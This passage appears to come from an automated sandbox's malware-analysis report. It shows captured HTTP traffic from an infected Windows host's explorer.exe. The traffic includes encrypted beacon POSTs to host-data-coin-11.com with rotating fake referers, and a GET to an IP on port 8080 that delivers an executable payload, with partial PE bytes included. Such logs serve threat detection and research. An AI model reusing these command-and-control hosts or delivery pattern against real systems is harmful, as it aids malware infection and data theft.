Jan 14, 2022 04:59:07.343347073 CET	1538	IN	Data Raw: 00 76 00 69 00 79 00 75 00 70 00 65 00 7a 00 61 00 64 00 61 00 70 00 65 00 62 00 65 00 74 00 61 00 67 00 00 00 78 6f 6c 69 77 65 72 61 72 69 68 61 7a 6f 68 75 70 61 6d 75 7a 75 66 69 63 75 6d 61 62 61 73 65 6c 61 63 61 68 65 78 75 78 61 00 00 67 Data Ascii: viyupezadapebetagxoliwerarihazohupamuzuficumabaselacahexuxagugafavapisufetirenucihobeyokuxutebijubixofaxabewegazevevemitohokababawijufapiyodewemuleseyogibiforotoxidayutugizehinerulerusahuzuzuvuciledpewanajoxevike
Jan 14, 2022 04:59:07.343388081 CET	1539	IN	Data Raw: 00 00 00 56 61 67 75 78 61 62 75 66 65 72 65 67 20 67 6f 64 69 64 20 76 65 66 61 73 20 6e 65 68 65 73 75 68 00 00 00 73 00 75 00 78 00 65 00 68 00 65 00 63 00 75 00 6d 00 75 00 67 00 69 00 6c 00 6f 00 64 00 61 00 67 00 61 00 64 00 75 00 76 00 69 Data Ascii: Vaguxabufereg godid vefas nehesuhsuxehecumugilodagaduvixevexirificiseracipefibixawapivuyuyavehalusagugeniyuwovazaxehiyuforujiyivi
Jan 14, 2022 04:59:07.343425035 CET	1540	IN	Data Raw: 00 74 00 72 00 69 00 6e 00 67 00 20 00 21 00 3d 00 20 00 4e 00 55 00 4c 00 4c 00 29 00 00 00 00 00 5f 00 76 00 73 00 70 00 72 00 69 00 6e 00 74 00 66 00 5f 00 6c 00 00 00 00 00 00 00 66 00 3a 00 5c 00 64 00 64 00 5c 00 76 00 63 00 74 00 6f 00 6f Data Ascii: tring != NULL)_vsprintf_lf:\dd\vctools\crt_bld\self_x86\crt\src\vsprintf.c(format != NULL)csm ClientIgnore
Jan 14, 2022 04:59:07.343822956 CET	1542	IN	Data Raw: 20 25 68 73 28 25 64 29 2e 0a 00 49 6e 76 61 6c 69 64 20 61 6c 6c 6f 63 61 74 69 6f 6e 20 73 69 7a 65 3a 20 25 49 75 20 62 79 74 65 73 2e 0a 0a 4d 65 6d 6f 72 79 20 61 6c 6c 6f 63 61 74 65 64 20 61 74 20 25 68 73 28 25 64 29 2e 0a 00 00 43 6c 69 Data Ascii: %hs(%d).Invalid allocation size: %Iu bytes.Memory allocated at %hs(%d).Client hook re-allocation failure.Client hook re-allocation failure at file %hs line %d.pUserData != NULL_pFirstBlock == pH
Jan 14, 2022 04:59:07.343867064 CET	1543	IN	Data Raw: 28 25 64 29 2e 0a 00 00 00 48 45 41 50 20 43 4f 52 52 55 50 54 49 4f 4e 20 44 45 54 45 43 54 45 44 3a 20 6f 6e 20 74 6f 70 20 6f 66 20 46 72 65 65 20 62 6c 6f 63 6b 20 61 74 20 30 78 25 70 2e 0a 43 52 54 20 64 65 74 65 63 74 65 64 20 74 68 61 74 Data Ascii: (%d).HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to
Jan 14, 2022 04:59:07.343903065 CET	1545	IN	Data Raw: 00 6f 00 28 00 29 00 29 00 00 00 5f 00 70 00 72 00 69 00 6e 00 74 00 4d 00 65 00 6d 00 42 00 6c 00 6f 00 63 00 6b 00 44 00 61 00 74 00 61 00 00 00 00 00 25 2e 32 58 20 00 00 00 44 65 74 65 63 74 65 64 20 6d 65 6d 6f 72 79 20 6c 65 61 6b 73 21 0a Data Ascii: o())_printMemBlockData%.2X Detected memory leaks!(L"Buffer is too small" && 0)Buffer is too small(((_Src))) != NULLstrcpy_s
Jan 14, 2022 04:59:07.343944073 CET	1546	IN	Data Raw: 00 69 00 6c 00 65 00 3a 00 20 00 00 00 0a 00 4c 00 69 00 6e 00 65 00 3a 00 20 00 00 00 0a 00 0a 00 00 00 00 00 45 00 78 00 70 00 72 00 65 00 73 00 73 00 69 00 6f 00 6e 00 3a 00 20 00 00 00 00 00 00 00 00 00 0a 00 0a 00 46 00 6f 00 72 00 20 00 69 Data Ascii: ile: Line: Expression: For information on how your program can cause an assertionfailure, see the Visual C+
Jan 14, 2022 04:59:07.343983889 CET	1547	IN	Data Raw: 00 73 00 69 00 7a 00 65 00 49 00 6e 00 42 00 79 00 74 00 65 00 73 00 20 00 2d 00 20 00 28 00 70 00 20 00 2d 00 20 00 62 00 75 00 66 00 29 00 29 00 2c 00 20 00 22 00 65 00 2b 00 30 00 30 00 30 00 22 00 29 00 00 00 00 00 00 00 73 00 69 00 7a 00 65 Data Ascii: sizeInBytes - (p - buf)), "e+000")sizeInBytes > (size_t)(3 + (ndec > 0 ? ndec : 0) + 5 + 1)_cftoe2_lsizeInBytes > (s
Jan 14, 2022 04:59:07.399765968 CET	1553	IN	Data Raw: 00 72 00 63 00 5c 00 73 00 65 00 74 00 6c 00 6f 00 63 00 61 00 6c 00 2e 00 63 00 00 00 00 00 00 00 28 00 28 00 70 00 74 00 6c 00 6f 00 63 00 69 00 2d 00 3e 00 6c 00 63 00 5f 00 63 00 61 00 74 00 65 00 67 00 6f 00 72 00 79 00 5b 00 63 00 61 00 74 Data Ascii: rc\setlocal.c((ptloci->lc_category[category].wlocale != NULL) && (ptloci->lc_category[category].wrefcount != NULL)) \|\|

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.3	49781	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:10.493510008 CET	2036	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xpbxi.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 320 Host: host-data-coin-11.com
Jan 14, 2022 04:59:10.494360924 CET	2037	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 84 de 90 66 5d 02 c9 a1 c1 64 06 89 84 69 Data Ascii: ?2~236hTkowmFu$f]diKv'zlZNtOFp*l=^P>ZVy,mcdo(ZzLafiW&}s (oim9JE(f:mL9y#P3{lvv)V
Jan 14, 2022 04:59:10.574815035 CET	2071	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.3	49782	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:10.661796093 CET	2072	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://wefker.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 342 Host: host-data-coin-11.com
Jan 14, 2022 04:59:10.662164927 CET	2073	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 91 66 5d 02 c8 a1 c1 64 4d 9d a4 11 Data Ascii: ?2~236hTkowmFu$f]dMYA-{\C.6%VkM\Srkb<7_%}9(6Wm%_?/VUX+XT&Ei"('yA*u 1o.SX(V4zC`iYLd$deTO
Jan 14, 2022 04:59:10.748130083 CET	2074	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:10 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.3	49784	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:10.884155989 CET	2077	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kyelhwx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 252 Host: host-data-coin-11.com
Jan 14, 2022 04:59:10.884165049 CET	2078	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 8e 66 5d 02 c8 a1 c1 64 59 c7 cd 0c Data Ascii: ?2~236hTkowmFu$f]dYU#~Uvlw&\/B~mbh>X;y9u]Rb<n=_d*XMAy1mwc!H!Y\|97[:.ZFGX#=]RyJ\hPEON)
Jan 14, 2022 04:59:10.970359087 CET	2084	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:10 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.3	49787	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:11.054652929 CET	2098	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gbuig.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 140 Host: host-data-coin-11.com
Jan 14, 2022 04:59:11.056406021 CET	2098	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 8f 66 5d 02 c8 a1 c1 64 3e b4 bd 35 Data Ascii: ?2~236hTkowmFu$f]d>5!G%qxskLrIn:0li;G},*^/_Qc
Jan 14, 2022 04:59:11.139134884 CET	2119	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:11 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 62 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 90 df 13 49 3c 5c a2 f7 d8 fc fb 46 f5 46 86 32 ef 06 10 c2 4b e1 e1 39 0d 0a 30 0d 0a 0d 0a Data Ascii: 2bI:82OI<\FF2K90

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49862	144.76.136.153	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.3	49789	185.7.214.171	8080	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:11.262990952 CET	2121	OUT	GET /6.php HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 185.7.214.171:8080
Jan 14, 2022 04:59:11.344412088 CET	2123	IN	HTTP/1.1 200 OK Date: Fri, 14 Jan 2022 03:59:11 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Transfer-Encoding: Binary Content-disposition: attachment; filename="mmrhuiadstzhf1d.exe" Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: application/octet-stream Data Raw: 34 65 32 30 30 0d 0a 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 7a 3c cc e1 1b 52 9f e1 1b 52 9f e1 1b 52 9f ff 49 c7 9f fb 1b 52 9f ff 49 d1 9f 67 1b 52 9f c6 dd 29 9f e2 1b 52 9f e1 1b 53 9f 3e 1b 52 9f ff 49 d6 9f db 1b 52 9f ff 49 c6 9f e0 1b 52 9f ff 49 c3 9f e0 1b 52 9f 52 69 63 68 e1 1b 52 9f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 da 6e de 5f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 e8 03 00 00 a8 12 00 00 00 00 00 20 b6 01 00 00 10 00 00 00 00 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 16 00 00 04 00 00 54 db 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 e3 03 00 28 00 00 00 00 00 16 00 b8 83 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 90 16 00 f8 1d 00 00 90 13 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 91 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 b2 e6 03 00 00 10 00 00 00 e8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 88 c9 11 00 00 00 04 00 00 18 00 00 00 ec 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6c 65 6d 65 6c 00 00 05 00 00 00 00 d0 15 00 00 02 00 00 00 04 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6c 6f 62 69 6c 00 00 ea 00 00 00 00 e0 15 00 00 02 00 00 00 06 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 63 69 78 75 00 00 00 93 0d 00 00 00 f0 15 00 00 0e 00 00 00 08 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b8 83 00 00 00 00 16 00 00 84 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f6 46 00 00 00 90 16 00 00 48 00 00 00 9a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 4e200MZ@!L!This program cannot be run in DOS mode.$z<RRRIRIgR)RS>RIRIRIRRichRPELn_ @TT(0@@.text `.data@.lemel@.lobil@.cixu@.rsrc@@.relocFH@B

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.3	49799	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:13.213493109 CET	2696	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://jjjeal.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 121 Host: host-data-coin-11.com
Jan 14, 2022 04:59:13.213515043 CET	2696	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 84 de 8f 66 5d 02 c9 a1 c1 64 41 be d3 67 Data Ascii: ?2~236hTkowmFu$f]dAgI~\|nGf>+:btT0$
Jan 14, 2022 04:59:13.297408104 CET	2698	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.3	49800	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:13.385051012 CET	2699	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kllxbylc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 143 Host: host-data-coin-11.com
Jan 14, 2022 04:59:13.385065079 CET	2699	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 8c 66 5d 02 c8 a1 c1 64 41 ad da 65 Data Ascii: ?2~236hTkowmFu$f]dAe!hxQMzS+SSPr%d!:-N2lOW5,y'AH
Jan 14, 2022 04:59:13.471846104 CET	2701	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 14 Jan 2022 03:59:13 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.3	49802	94.142.143.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 04:59:13.558448076 CET	2703	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iqiollry.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 356 Host: host-data-coin-11.com
Jan 14, 2022 04:59:13.559793949 CET	2703	OUT	Data Raw: 10 87 f1 e5 1b f1 d5 b0 be 3f 0a 32 7e b9 e0 f3 32 12 a8 33 a2 36 19 90 ba ec ac f0 8a d4 e0 87 68 c4 54 a5 6b 6f cf 97 ee db f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd d2 e4 d8 46 d4 75 24 f3 c4 85 de 8d 66 5d 02 c8 a1 c1 64 22 af d0 02 Data Ascii: ?2~236hTkowmFu$f]d">k3A=$TVdTwR8G_z}X9xx X=GTRD[^?Yc;rV=buN\|wk!pH"$lA!A8^vzg-x 8kK]#
